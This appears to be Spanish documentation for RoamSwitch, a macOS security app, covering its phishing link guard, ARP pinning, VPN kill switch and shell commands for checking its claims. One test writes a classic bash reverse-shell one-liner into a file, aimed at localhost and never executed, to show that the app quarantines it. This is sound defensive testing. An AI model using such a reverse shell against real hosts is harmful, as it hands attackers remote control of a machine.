Barra de menús → «Protección antimalware» → «Auditoría de fugas de secretos/claves API». Pega texto y se comprueba al instante en busca de claves API y tokens filtrados, mostrando el número de línea, una cadena enmascarada y una recomendación por cada hallazgo (SecretLeakAuditor, totalmente en el dispositivo). La versión 1.8.9 añadió la opción «Elegir carpeta para analizar», que permite al mismo motor de detección auditar de forma recursiva un directorio, como un repositorio de código fuente, mediante auditDirectory(at:). Se excluyen automáticamente .git, node_modules, target, vendor, dist, build, __pycache__ y venv, así como los archivos de más de 2 MB o detectados como binarios. El procesamiento se ejecuta fuera del hilo principal para no bloquear la interfaz, y nunca se envía nada al exterior.

Link Guard (bloqueo de conexiones de phishing): 1.7.2 y posteriores, reforzado en 1.8.0

Barra de menú → "Protección contra malware" → "Link Guard" (Pro). Bloquea las conexiones a sitios de phishing/estafa en el dispositivo, en todos los navegadores y aplicaciones. Hay dos puntos de cumplimiento, utilizados juntos en orden de prioridad.

• ① Extensión del sistema de filtrado de contenido (RoamSwitchLinkFilter, 1.8.0+, preferida una vez aprobada). Una extensión del sistema NEFilterDataProvider: sin revisión de Apple (los proveedores de filtrado de contenido son de autoservicio, no tienen cola de aprobación). Inspecciona la resolución de nombre del flujo TCP saliente real después de. El nombre de destino proviene del nombre de host resuelto por el sistema operativo o, en su defecto, el TLS SNI analizado a partir de los primeros bytes del flujo, por lo que un navegador que realiza su propio DoH/DoT y se conecta a una IP básica aún está bloqueado. Nunca reescribe /etc/hosts y atribuye cada flujo a un proceso. QUIC (UDP/443) no tiene SNI legible, por lo que en el modo block se elimina, lo que obliga al navegador a recurrir a HTTP/2 sobre TCP. Necesita una aprobación única en Configuración del sistema.
• ② /etc/hosts sumidero (alternativa, mientras la extensión no está aprobada/rechazada). El ayudante privilegiado escribe los dominios de destino en una sección administrada delimitada de /etc/hosts como 0.0.0.0 y vacía el caché. Con un límite de 60.000. Una vez que la extensión está activa, esta sección se elimina.
• Tres modos. "Off" lo desactiva. "Solo advertir" pausa la conexión coincidente y pregunta al usuario (consulte Real warn a continuación). "Bloquear automáticamente sitios fraudulentos obvios (recomendado)" desaparece inmediatamente. El valor predeterminado es bloquear a partir de 1.7.2.
• Real warn (1.8.0+, solo extensión). En un warn, la extensión del sistema retiene el flujo (tanto el nombre del sistema operativo como la ruta SNI) con .pause() y la aplicación genera una notificación "Permitir/Bloquear". En el momento en que el toque del usuario llega a allowlist.txt/extra.txt (la extensión sondea los pequeños archivos de estado cada 1,5 s), los flujos retenidos se reanudan (permiten) o se eliminan (bloquean). Si no hay respuesta dentro de los 25 s, se produce un error open (una advertencia es aconsejable). La decisión se almacena en caché por host (permita 5 min/bloquee 1 h), por lo que los demás flujos de la página y las visitas posteriores son instantáneas y se aplican. La notificación block no ha cambiado: "Bloqueado..." con un botón "Permitir una vez (5 min)".
• Solo se bloquean los casos claros. Una lista en el feed de amenazas o un homógrafo Unicode de marca; todo lo demás (TLD de alto riesgo, suplantación de subdominio,...) es una advertencia. El motor de veredicto se comparte con la edición de Linux y no envía URL a ninguna parte.
• Recuperando de un bloqueo incorrecto. Permitir un dominio desde la notificación o el menú (5 minutos o permanente). La lista de permitidos se resta cuando se regenera la sección.
• Pro-gated. La aplicación (applyMode()) solo ocurre con una licencia Pro válida. Sin Pro, el modo se almacena pero /etc/hosts nunca se toca. La activación o caducidad de una licencia entra en vigor a mitad de sesión.
• Feed y semilla empaquetada. La lista de bloqueo proviene de la fuente de amenazas firmada (§7, verificada con una clave dedicada a la fuente). Funciona en la semilla incluida de la aplicación (~60,000 entradas) incluso antes de la primera recuperación, y desactivar la "Actualización automática" significa que no hay tráfico saliente.

Bloqueo preventivo ARP/NDP de puerta de enlace: 1.7.5 y posteriores

Barra de menú → "Monitor de puerto y dispositivo" → "Fijar el ARP/NDP de la puerta de enlace en redes no confiables (preventivo)" (Pro, desactivado de forma predeterminada).

• Cómo funciona. Al unirse a una red que no es de confianza, la MAC actual de la puerta de enlace IPv4, el enrutador predeterminado de IPv6 y los solucionadores de DNS en el enlace se recopilan de route / scutil --dns / arp -n / ndp -an, y el asistente fija cada uno como una entrada permanent con arp -s / ndp -s (confianza en el primer uso: la primera MAC observada es confiable). Las respuestas ARP/NDP falsificadas para esas IP se ignoran, por lo que no se puede configurar un ataque de intermediario.
• Scope. Sólo se fijan esos tres tipos de entradas. Las redes confiables (abiertas) nunca se fijan. En cada cambio de red, se desbloquea una vez y se vuelve a fijar. Los solucionadores públicos fuera del enlace (8.8.8.8,…) no tienen entrada ARP en el enlace y se excluyen automáticamente.
• arp -s es preventivo; el espacio de aire es posterior al hecho. Este pin existe por lo que una parodia no puede tener éxito; La detección de suplantación de identidad ARP (ARPSpoofContainmentManager) y el espacio de aire de emergencia existen para "cortar más rápido que un humano" una vez que se ve uno. Funcionan de forma independiente.
• Persistence. El conjunto de pines se guarda en /Library/Application Support/RoamSwitch/gateway_arp_lock.json para que pueda desbloquearse mediante una reconexión de XPC o un reinicio auxiliar.

El túnel VPN (WireGuard / Tailscale) y su interruptor de apagado: 1.7.6 y posteriores, backend seleccionable en 1.8.0

Barra de menú → "Monitor de puerto y dispositivo" → "Túnel VPN" (Pro, desactivado de forma predeterminada). Esta es la defensa anti-MITM primary: no depende de la integridad de L2 (ARP/NDP). El backend se puede seleccionar (submenú → "Backend") entre "WireGuard (archivo de configuración)" y "Tailscale (Nodo de salida)". RoamSwitch no implementa ninguna criptografía; sólo el backend elegido está armado.

• (A) Backend WireGuard. Impulsa el wireguard-tools de Homebrew (sin derecho a extensión de red de Apple). Importa tu propio .conf; el ayudante lo guarda en 0600. Kill-switch: pf block drop all más un pass quick solo para lo, la interfaz del túnel, el protocolo de enlace UDP a las IP del punto final anclado, DHCP e ICMP. Un AllowedIPs que no está completo genera una advertencia de túnel dividido.
• (B) Backend de Tailscale (1.8.0+). Para usuarios que ya ejecutan Tailscale. RoamSwitch no ejecuta tailscale up / inicia sesión / lo instala; lee tailscale status --json y ejecuta tailscale set --exit-node=<node>. Se recomienda la compilación Standalone (descarga directa desde tailscale.com) con la integración de CLI activada (Ajustes → “CLI integration” → “Install Now”, que añade /usr/local/bin/tailscale).: la compilación de App Store (GUI) no se puede controlar desde fuera de la aplicación (sandbox); con él, eliges el nodo de salida en la aplicación Tailscale y RoamSwitch solo muestra el estado. Se requiere un nodo de salida (enruta todo el tráfico a través del túnel); se desarma automáticamente si se desconecta o es inaccesible.
• ⚠️ No se recomienda la compilación de Homebrew (brew install tailscale). El tailscaled que distribuye Homebrew tiene un error conocido en macOS que puede impedir que reescriba correctamente la tabla de enrutamiento (tailscale/tailscale#21395, #21216): un nodo de salida puede mostrarse como «conectado» mientras el tráfico sigue filtrándose, o al desactivarlo puede perderse por completo la conexión a Internet del Mac. RoamSwitch verifica la tabla de enrutamiento real del sistema operativo y avisa cuando esto ocurre, pero usar la compilación Standalone anterior evita el problema desde el principio.
• Reconfiguración de la red al desconectarse. El macOS independiente tailscaled no restaura limpiamente el enrutamiento + DNS cuando se borra un nodo de salida, por lo que RoamSwitch rebota los servicios de red activos (lo mismo que alternar Wi-Fi manualmente; solo servicios con una dirección IPv4, seguros para múltiples NIC e IP estática). El tráfico disminuye durante aproximadamente 5 a 10 segundos y el nivel de protección no disminuye durante ese período.
• El interruptor de cierre de Tailscale está desactivado de forma predeterminada (optar por participar). El nodo de salida ya hace un túnel para todo; el pf block drop all (permite sólo CGNAT/MagicDNS/STUN/DERP/DHCP/ICMP/DNS) es para usuarios avanzados y es "resistente a fugas, no a prueba de fugas" (se permite DNS para que tailscaled sobreviva).
• Automático/en caso de pérdida de licencia. Aparece en redes que no son de confianza, inactivo en las de confianza; se levanta cuando la licencia Pro caduca.

§6

Cuando se conecta a una red que no ha registrado, el interruptor de "nivel de protección" no utiliza pf. Simplemente cambia la configuración estándar del sistema operativo de una manera que se puede revertir más adelante.

Nada de esto es un nuevo mecanismo de bloqueo que agrega RoamSwitch: simplemente cambia la configuración del sistema operativo. si eliminas la aplicación, lo único que se detiene es el cambio dependiente de la red; el último sistema operativo Los ajustes que se aplicaron permanecen como están. No queda nada bloqueado, pero si quieres equivocarte Para estar seguro, vuelva a configurarlo en "Abrir" en una red confiable antes de desinstalarlo.

§7

Lo que queda en la Mac

Tráfico que sale de la máquina (la lista completa)

No existe ningún código que recopile y envíe resultados de diagnóstico, información de puertos, URL o registros. No se incluye ningún SDK de análisis ni de informes de fallos. La única biblioteca externa es Sparkle (actualizaciones). Lo que sale a la red son las ocho rutas siguientes, más las funciones iniciadas por el usuario, las funciones desactivadas por defecto y la protección DNS contra amenazas descritas bajo la tabla, y nada más (la sexta solo si el usuario configura una VPN, la séptima solo si se activa el emparejamiento de RoamSwitch Sensor).

# Firma Developer ID e ID de equipo
codesign -dvvv /Applications/RoamSwitch.app 2>&1 | grep -E 'Authority|TeamIdentifier|flags'

# Si el ticket de notarización está grapado (staple)
stapler validate /Applications/RoamSwitch.app
spctl -a -t exec -vvv /Applications/RoamSwitch.app

# Firma del helper incluido / servidor MCP
codesign -dvvv /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchHelper
codesign -dvvv /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer

codesign -d --entitlements :- /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchHelper
codesign -d --entitlements :- /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer
# → Un diccionario de entitlements vacío. Sin claves app-sandbox / network client.

# Ejecute tcpdump en paralelo para confirmar que, en el uso normal, no hay tráfico fuera de las rutas de la tabla
sudo tcpdump -i any -n 'host not 127.0.0.1' and 'not port 53'
# Sin tráfico salvo las rutas de la tabla (activación de licencia, comprobaciones de actualización, datos de actualización firmados, actualizaciones de ClamAV, etc.)

Para una verificación automatizada más estricta con atribución por proceso, consulte rs-zerotel-audit.sh en roamswitch-support/audit/

# Verifica automáticamente en un solo lote el límite de autorización XPC, la prioridad Air-Gap de pf, la detección de exposición de puertos, el modo de solo lectura de MCP y la monitorización ARP
git clone https://github.com/lafine1211/roamswitch-support
cd roamswitch-support/audit
./rs-defense-audit.sh all

Pruebas de penetración en vivo y auditoría de defensa multicapa desde una máquina virtual macOS: RESULTS-DEFENSE-2026-08-30

# Consultar el dominio de prueba oficial de Quad9 para verificar el bloqueo de amenazas
nslookup test.dns9.quad9.net
# → Debe devolver ** server can't find test.dns9.quad9.net: NXDOMAIN, es decir, la resolución de nombres está bloqueada

# Crear la cadena de prueba antivirus estándar e inofensiva (EICAR) en Downloads
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > ~/Downloads/eicar_test.com
# → La detección de FSEvents activa un escaneo inmediato de ClamAV; no se muestra ninguna notificación y "firma de prueba EICAR detectada (inofensiva)"
#   queda registrada en el historial de notificaciones. Dado que EICAR es un archivo de prueba estándar de la industria y no una amenaza real,
#   no se pone en cuarentena ni se bloquea, y el archivo permanece en su lugar (solo una muestra real de malware se traslada al gestor de cuarentena).

## Una reverse shell clásica de una sola línea tomada de referencias públicas de seguridad ofensiva (inofensiva, nunca se ejecuta)
echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' > ~/Downloads/rs_test.sh
## → Incluso sin ClamAV instalado, aparece una notificación «Archivo descargado peligroso puesto en cuarentena», y el archivo se
##   traslada de inmediato a la carpeta Quarantine (sin depender de la base de firmas de ClamAV)

# Crear un LaunchAgent inofensivo que invoca directamente un intérprete de scripts sin firmar (nunca se ejecuta realmente)
cat > ~/Library/LaunchAgents/com.example.selfcheck.plist <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.example.selfcheck</string>
  <key>ProgramArguments</key><array><string>/bin/bash</string><string>-c</string><string>echo hi</string></array>
</dict></plist>
EOF
# → En pocos segundos debería aparecer una notificación «Se detectó un nuevo registro de inicio automático». Elimínelo después:
rm ~/Library/LaunchAgents/com.example.selfcheck.plist

# Si la sección administrada está presente (2 líneas BEGIN/END en modo Pro + predeterminado)
sudo grep -c 'RoamSwitch link guard' /etc/hosts

# El contenido de la sección y el número de sinkholes
sudo sed -n '/BEGIN RoamSwitch link guard/,/END RoamSwitch link guard/p' /etc/hosts | head -4
sudo sed -n '/BEGIN RoamSwitch link guard/,/END RoamSwitch link guard/p' /etc/hosts | grep -c '^0\.0\.0\.0'

# Si realmente se descarta (verificado con una entrada de la sección; inofensivo)
D=$(sudo sed -n '/BEGIN RoamSwitch/,/END RoamSwitch/p' /etc/hosts | awk '/^0\.0\.0\.0/{print $2; exit}')
dscacheutil -q host -a name "$D"   # → ip_address: 0.0.0.0 (resolución de nombres bloqueada)

# Confirme también que la sección anterior desaparece mediante Menú → "Protección de enlaces" → "Desactivado"

# Feed y manifiesto públicos (cualquiera puede obtenerlos y verificarlos)
curl -s https://lafine.net/updates/v1/manifest        # version/generated/threatfeed{...}
curl -sI https://lafine.net/updates/v1/manifest.sig   # → text/plain
# Solo se envía un GET sin cadena de consulta, cookies ni identificador por dispositivo (solo el User-Agent estándar). Se puede verificar ejecutando tcpdump en paralelo.

# Conéctese a una red no confiable con el bloqueo preventivo activado → compruebe las entradas permanent
arp -an | grep -i permanent          # La puerta de enlace y otras IP se listan como (permanent)
ndp -an | grep -i 'P '               # Lado IPv6 (P = permanent)
sudo cat "/Library/Application Support/RoamSwitch/gateway_arp_lock.json"  # El conjunto de asignaciones IP→MAC actualmente fijadas
# Libere el bloqueo desde el menú → lo anterior debería desaparecer

# Se asume que wireguard-tools está instalado (vía Homebrew)
brew list wireguard-tools >/dev/null && echo "wireguard-tools: OK"

# Active la VPN en una red no confiable → antes de que el túnel se establezca, pf está en estado de interruptor de corte
sudo pfctl -sr | grep -E 'block drop all|pass .*(utun|udp)'   # block drop all + un conjunto limitado de reglas pass quick

# Después de establecer el túnel (wg-quick up ya ejecutado)
wg show                              # handshake / transfer está activo
route -n get default | grep interface  # → utunN (la ruta predeterminada es el túnel)
# Desactive la VPN → el interruptor de corte se libera y pf vuelve a su estado anterior

# El LaunchDaemon registrado
sudo launchctl print system/com.tetsuharu.RoamSwitch.Helper

# Las reglas pf actualmente cargadas (estado real del Air-Gap / de la guardia de puertos)
sudo pfctl -sr

# El directorio de estado del helper
ls -la "/Library/Application Support/RoamSwitch/"

BIN=/Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer
printf '%s\n' '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}' \
              '{"jsonrpc":"2.0","id":2,"method":"tools/list"}' | "$BIN"
# Devuelve serverInfo y las definiciones de las herramientas. No se produce ninguna conexión de red.

git clone https://github.com/lafine1211/roamswitch-mcp
cd roamswitch-mcp
swift build -c release        # El mismo código fuente que el binario distribuido
swift test                    # Pruebas unitarias, de entrada adversaria, stdio y fuzzing por mutación
# Consulte SECURITY_TESTING.md para ver el contenido de las pruebas y los problemas encontrados

# El valor bruto vinculado al token (solo se envía un SHA-256 con sal)
ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'